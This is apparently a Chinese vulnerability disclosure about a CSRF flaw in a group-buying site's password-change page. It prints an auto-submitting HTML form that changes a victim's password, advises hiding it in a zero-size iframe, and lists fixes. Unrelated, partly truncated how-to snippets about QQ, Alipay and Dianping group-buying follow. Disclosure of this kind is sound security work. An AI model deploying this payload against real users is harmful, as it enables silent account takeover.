团购王csrf可劫持用户修改密码

  修改密码处无验证token,并且无验证原密码(一个涉及money的站,修改密码居然没有验证原密码!!!),可以通过一个精心构造的表单欺骗用户修改密码。

<html>

<body>

<form name="csrf" action="http://www.go.cn/index.php?m=settings" method="POST">

<input type=text name=password value="woooooooyun"></input>

<input type=text name=password2 value="woooooooyun"></input>

<input type=text name=do value="update"></input>

<input type="submit" value="submit" />

</form>

<script>

document.csrf.submit();

</script>

</body>

</html>

  欺骗用户访问后,密码会被改成woooooooyun。



  直接让用户访问太明显了,直接会跳转到“修改成功”的页面,所以可以准备一个看似正常的页面(如新闻),然后iframe这个POC,并且height=0,width=0,用户就会在不知情的情况下被修改密码,后果可想而知了。

  修复方案:

  1.修改密码一定要验证原密码

  2.所有涉及用户信息的操作要验证随机的token.

怎么禁止win8系统的用户修改密码

05/07 02:47
随着科技的发展,电脑已经成为人们日常生活中必不可少的工具,最新的手机一般都配有win8系统,在win8系统中如何设置才能让用户无法修改密码呢?接下来就由小编来告诉大家.具体如下:1.第一步,打开电脑后点击桌面磁贴图标.2. 第二步,进入电脑桌面后,右键点击左下角的windows图标,然后点击弹出菜单中的计算机管理选项.3. 第三步,进入计算机管理页面后,点击左侧的计算机管理(本机)选项,然后点击展开菜单中的系统工具选项.4. 第四步,点击展开系统工具选项,然后依次点击本地用户和组.用户选项,然后

支付宝钱包如何团购美食方法教程

04/30 03:49
首先,把手机的支付宝钱包更新到最新版,接着在支付宝钱包软件中点击底部栏的“探索”。在探索界面中,我们能够看到新增加的“附近”功能。在附近功能中选择“美食”。 在美食的选项中,用户可以查看到附近的餐厅美食,显示的餐厅大部分都提供团购服务。我们选择喜欢的餐厅,进入详情页就可以看到团购的信息了。 在团购详情中,用户点击“立即抢购”,那么进入付款界面,点击“用支付宝付款”就可以轻松团购了。想吃美食,又想不花冤枉钱,支付宝钱包就能帮到你了。

触宝拨号可以团购吗?触宝拨号团购美食的方法

10/25 00:48
触宝拨号如何团购美食?触宝拨号不仅能帮助用户快速查找联系人,还可以帮助用户们查看酒店、租车和机票的专线号码,方便用户拨打电话预定哦。触宝拨号还可以让用户查看当地城市的美食哦,方便我们能快速团购美食。想必还有很多用户还不知道怎么使用吧,今天小编就教大家触宝拨号如何团购美食。 1)首先打开触宝拨号,点击【生活黄页】会自动帮你地位当地城市,点击【美食】,选择你要团购的美食点击进入。(如下图) 2)在界面选择你要团购的价位点击进入,点击【立即购买】。(如下图) 3)输入手机号码和验证码,点击【提交订单】

qq团购图标怎么点亮

01/04 02:49
免费点亮qq团购的方法: 1、当然有的时候因为是活动抽奖将图标点亮,找到qq团购上面的0圆商品抢购,然后找到【抽奖点亮图标】,然后根据指示操作即可点亮qq团购图标了。但是抽奖活动点亮图标期限时长只有15天。 2、用户只要在QQ团购购买qq团购的产品,腾讯系统将自动在24小时内点亮其专属的“ qq团购”图标,点亮时长为60天整。无消费限额的限制,成功消费即可点亮。 熄灭图标的方法: 点击我的个人资料,然后在打开的个人资料窗口上找到【图标管理】按钮,点击进去你在图标列上找到【qq团购的图标】,点击一

搜狗输入法将团购站订阅到搜狗是否需要安装搜狗输入法

06/21 22:38
搜狗输入法将团购站订阅到搜狗,需要预先安装搜狗输入法才可以使用此功能。对于没有安装输入法的用户,可以去官网下载搜狗输入法。

怎么点亮QQ团购图标?

03/23 16:34
所有用户只要在QQ团购购买团购产品,系统将自动在24小时内点亮其专属的“ ”图标。目前beta3、beta4和2011正式版可以查看到图标。 注:2011年12月26日起,目前所有处于熄灭状态的QQ团购图标,系统会全部重新帮其点亮。 常见问题: 1、点亮“团”图标对QQ版本有要求吗? QQ版本要求是QQ2011 Beta2及以上,点击这里下载最新版本。(并非所有QQ2011 Beta2用户都有“团”图标,系统随机抽取部分用户放出更新补丁供用户更新后才显示“团”图标) 2、成功购买团购产品后,系统

怎么熄灭QQ团购图标?

03/26 15:10
怎么熄灭QQ团购图标? 尊敬的用户,您好:QQ团购图标“团”字图标点亮后,暂不支持熄灭。 温馨提示:在QQ2011及以上版本中,可以隐藏该图标。

Wemall微商城团购版新增微信支付功能

09/04 23:52
团购版商城是wemallshop微商城系统专门为用户打造的一款团购商城,消费者为获得优惠的价格,会邀请朋友圈好友拼团购买,商家不再担心店铺粉丝流量问题:团购版商城拥有超强的功能模块,能最大限度增加产品销量和拓展商家的品牌知名度. 商城首页 拼团详情 开团详情 提交订单 玩法详情 新增项目: 新增了微信支付的功能: 现在共有支付宝支付,微信支付和优惠券支付三种支付方式,是支付更加快捷方便.

大众点评怎么微信支付享用大众点评的团购服务

02/15 08:49
还不知道大众点评怎么微信支付的朋友可以来看下面这篇大众点评微信支付教程,大众点评正式入驻微信支付咯~喜欢团购爱聊微信的朋友不妨进入微信试一试大众点评的团购服务。 第一步、登陆微信后,点击界面右上角“...”--“我的银行卡”。 第二步、在“我的银行卡”页面,可以“今日美食”功能,这个就是大众点评。 第三步、进入“今日美食”界面后,可以看到有很多团购的食物哦~在这里挑选自己喜欢的食物即可。 大家可以打开微信,体验一下“今日美食”栏目。 相关参考:大众点评微信支付减20元优惠20元的操作步骤